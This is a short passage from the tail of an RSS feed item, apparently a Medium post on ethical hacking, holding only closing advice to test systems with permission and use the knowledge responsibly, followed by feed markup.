practice ethical hacking and only test systems you have permission to assess.</p><p>Remember that this knowledge should be used responsibly to improve security, not to compromise systems illegally.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=906a653fc5c4" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>